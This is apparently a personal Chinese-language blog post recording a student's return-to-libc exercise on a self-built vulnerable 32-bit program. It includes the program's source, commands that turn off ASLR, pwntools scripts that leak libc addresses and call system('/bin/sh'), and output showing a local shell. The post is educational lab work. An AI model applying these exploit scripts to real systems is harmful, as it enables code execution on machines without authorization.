NEKO

Linux-Exploit之使用return-to-libc绕过NX bit

2018/05/22

先写下自己失败的记录

首先记录下遇到的问题,就目前来讲还没有解决.(解决了,看标题3)
首先ret2libc原理很简单,就是调用动态链接库里的函数来实现我们的目的.
也可以绕过ASLR,详见jarvis的level3.

漏洞源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>

void vulnerable(){
char buf[256];
write(1,"input:\n",7);
read(0,&buf,512);
puts("n3k0");
}

int main(){
vulnerable();
return 0;
}

puts("n3k0")没什么用,忽略(为了验证我的猜想多加了一行代码)

先关闭ubuntu的aslr(地址随机化):

1
neko@ubuntu:~/pwn$ sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

编译:

1
neko@ubuntu:~/pwn$ gcc -m32 -fno-stack-protector crackme4.c -o crackme4.out

-m32:生成32位ELF可执行文件
-fno-stack-protector:关闭栈保护

可以看到开启了NX,无法在栈中执行代码.

1
2
3
4
5
6
7
neko@ubuntu:~/neko$ checksec crackme4.out 
[*] '/home/neko/neko/crackme4.out'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

查看调用的libc:

1
2
3
4
neko@ubuntu:~/neko$ ldd ./crackme4.out 
linux-gate.so.1 => (0xf7fd8000)
libc.so.6 => /lib32/libc.so.6 (0xf7e07000)
/lib/ld-linux.so.2 (0xf7fda000)

将libc.so.6移动到当前文件夹:

1
neko@ubuntu:~/neko$ cp /lib/x86_64-linux-gnu/libc.so.6 ./libc.so.6

我们基于一个公式来获得libc中函数在内存中的真实地址,设libc中函数A,B的地址为libc_A、lib_B,加载到内存中后函数A,B的真实地址为RAM_A、RAM_B
则libc_A-libc_B=RAM_A-RAM_B.
好了问题出现了
我们主要是计算offset,offset=RAM_A-libc_A,那么RAM_system=libc_system+offset.

然而!!!分别用write,read,puts函数计算出来的offset,全都不一样!!!,这不科学啊,alice来救救我啊.
先贴上计算RAM_A的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

context.log_level = 'debug'
p=process('./crackme4.out')
libc=ELF('libc.so.6')
elf=ELF('./crackme4.out')

libc_sys=libc.symbols['system']
libc_read=libc.symbols['read']
libc_write=libc.symbols['write']
libc_puts=libc.symbols['puts']
libc_sh=libc.search('/bin/sh').next()

read_got=elf.got['read']
write_got=elf.got['write']
puts_got=elf.got['puts']
write_plt=elf.symbols['write']


print "libc_read:",hex(libc_read)
print "libc_write:",hex(libc_write)
print "libc_puts:",hex(libc_puts)
print "libc_system:",hex(libc_sys)
print "puts_got:",hex(puts_got)
payload='a'*0x108+'a'*4+p32(write_plt)+'a'*4+p32(1)+p32(read_got)+p32(4)

p.recvline()
p.send(payload)
data=p.recv()
print hex(u32(data[-4:]))

这样就计算出RAM_read=0xf7edb350,为了验证同理求出RAM_write和RAM_puts
整合起来:

1
2
3
4
5
6
7
RAM_read=0xf7edb350
RAM_write=0xf7edb3c0
RAM_puts=0xf7e66140

libc_read=0xf7250
libc_write=0xf72b0
libc_puts=0x6f690

然后发现(RAM_read-libc_read)!=(RAM_write-libc_write)!=(RAM_puts-libc_puts)

心态已炸.

虽然后来看了wx大佬的方法,找到了更为简单的姿势,但还是想不出自己的方法哪里出了问题.

下面是借鉴wx大佬的方法

算了,完整写一遍吧.
漏洞源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>

void vulnerable(){
char buf[256];
write(1,"input:\n",7);
read(0,&buf,512);
puts("n3k0");
}

int main(){
vulnerable();
return 0;
}

先关闭ubuntu的aslr(地址随机化):

1
neko@ubuntu:~/pwn$ sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

编译:

1
neko@ubuntu:~/pwn$ gcc -m32 -fno-stack-protector crackme1.c -o crackme1.out

-m32:生成32位ELF可执行文件
-fno-stack-protector:关闭栈保护

可以看到开启了NX,无法在栈中执行代码.

1
2
3
4
5
6
7
neko@ubuntu:~/neko$ checksec crackme4.out 
[*] '/home/neko/neko/crackme4.out'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

由于没有开启aslr,libc中的函数在内存中的地址是固定的.我们只要找到system函数的地址和’/bin/sh’的地址然后覆盖vulnerable()函数的地址使其执行system(“/bin/sh”)即可.

gdb调试(还是大佬的方法好(:з」∠)):

1
2
3
4
5
6
7
Breakpoint 1, 0x080484c2 in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e41940 <system>
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f6002b ("/bin/sh")

(顺便一提,用此方法求出的RAM_read,RAM_write,RAM_puts也是相同的,我就更想不通我哪里出错了)

得到
RAM_system=0xf7e41940
RAM_sh=0xf7f6002b

exp:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

p=process('./crackme4.out')
elf=ELF('./crackme4.out')

RAM_system=0xf7e41940
RAM_sh=0xf7f6002b
payload='a'*0x108+'a'*4+p32(RAM_system)+'a'*4+p32(RAM_sh) #system()的返回地址用'aaaa'覆盖
p.recvline()
p.send(payload)
p.recvline()
p.interactive()

实验结果:

1
2
3
4
5
6
7
8
9
10
11
12
neko@ubuntu:~/neko$ python exp4.py 
[+] Starting local process './crackme4.out': pid 119605
[*] '/home/neko/neko/crackme4.out'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Switching to interactive mode
$ id
uid=1000(neko) gid=1000(neko) groups=1000(neko),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$

我知道我哪里错了

我因为这个鬼错误想了2天,无法用言语表达.

全部殺しね,ハハハハハ、死ねいい。

错误很简单.
我用错libc.so.6了

我的狗眼啊.
查看调用的libc:

1
2
3
4
neko@ubuntu:~/neko$ ldd ./crackme4.out 
linux-gate.so.1 => (0xf7fd8000)
libc.so.6 => /lib32/libc.so.6 (0xf7e07000)
/lib/ld-linux.so.2 (0xf7fda000)

明明写的是/lib32/libc.so.6,我还用/lib/x86_64-linux-gnu/libc.so.6

————————-重新写一遍过程——————————
首先ret2libc原理很简单,就是调用动态链接库里的函数来实现我们的目的.
也可以绕过ASLR,详见jarvis的level3.

漏洞源码:

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>

void vulnerable(){
char buf[256];
write(1,"input:\n",7);
read(0,&buf,512);
}

int main(){
vulnerable();
return 0;
}

先关闭ubuntu的aslr(地址随机化):

1
neko@ubuntu:~/pwn$ sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

编译:

1
neko@ubuntu:~/neko/4$ gcc -m32 -fno-stack-protector crackme4.c -o crackme4.out

-m32:生成32位ELF可执行文件
-fno-stack-protector:关闭栈保护

可以看到开启了NX,无法在栈中执行代码.

1
2
3
4
5
6
7
neko@ubuntu:~/neko/4$ checksec ./crackme4.out 
[*] '/home/neko/neko/4/crackme4.out'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

查看调用的libc:

1
2
3
4
neko@ubuntu:~/neko$ ldd ./crackme4.out 
linux-gate.so.1 => (0xf7fd8000)
libc.so.6 => /lib32/libc.so.6 (0xf7e07000)
/lib/ld-linux.so.2 (0xf7fda000)

将libc.so.6移动到当前文件夹:

1
neko@ubuntu:~/neko$ cp /lib32/libc.so.6 ./libc.so.6

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

p=process('./crackme4.out')
libc=ELF('libc.so.6')
elf=ELF('./crackme4.out')

libc_sys=libc.symbols['system']
libc_read=libc.symbols['read']
libc_sh=libc.search('/bin/sh').next()

read_got=elf.got['read']

write_plt=elf.symbols['write']
vul_plt=elf.symbols['vulnerable']

payload1='a'*0x108+'a'*4+p32(write_plt)+p32(vul_plt)+p32(1)+p32(read_got)+p32(4)

p.recvline()
p.send(payload1)
data=p.recv()
RAM_read=u32(data[:4])

offset=RAM_read-libc_read

RAM_sys=libc_sys+offset
RAM_sh=libc_sh+offset

payload2='a'*0x108+'a'*4+p32(RAM_sys)+'a'*4+p32(RAM_sh)

p.send(payload2)
p.interactive()

运行思路:其实也可以绕过ASLR.payload1为了计算出read函数在内存中的真实地址(RAM_read),返回地址为vulnerable()的plt,为了再次溢出利用.
计算出system()的内存地址和”/bin/sh”的内存地址后,用payload2再次溢出利用即可.

运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
neko@ubuntu:~/neko/4$ python exp4.py 
[+] Starting local process './crackme4.out': pid 126751
[*] '/home/neko/neko/4/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/neko/neko/4/crackme4.out'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Switching to interactive mode
$ id
uid=1000(neko) gid=1000(neko) groups=1000(neko),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

原文作者: n3k0

发表日期: May 22nd 2018, 11:05:15

发出嘶吼: 没有魔夜2玩我要死了

CATALOG
  1. 1. 先写下自己失败的记录
  2. 2. 下面是借鉴wx大佬的方法
  3. 3. 我知道我哪里错了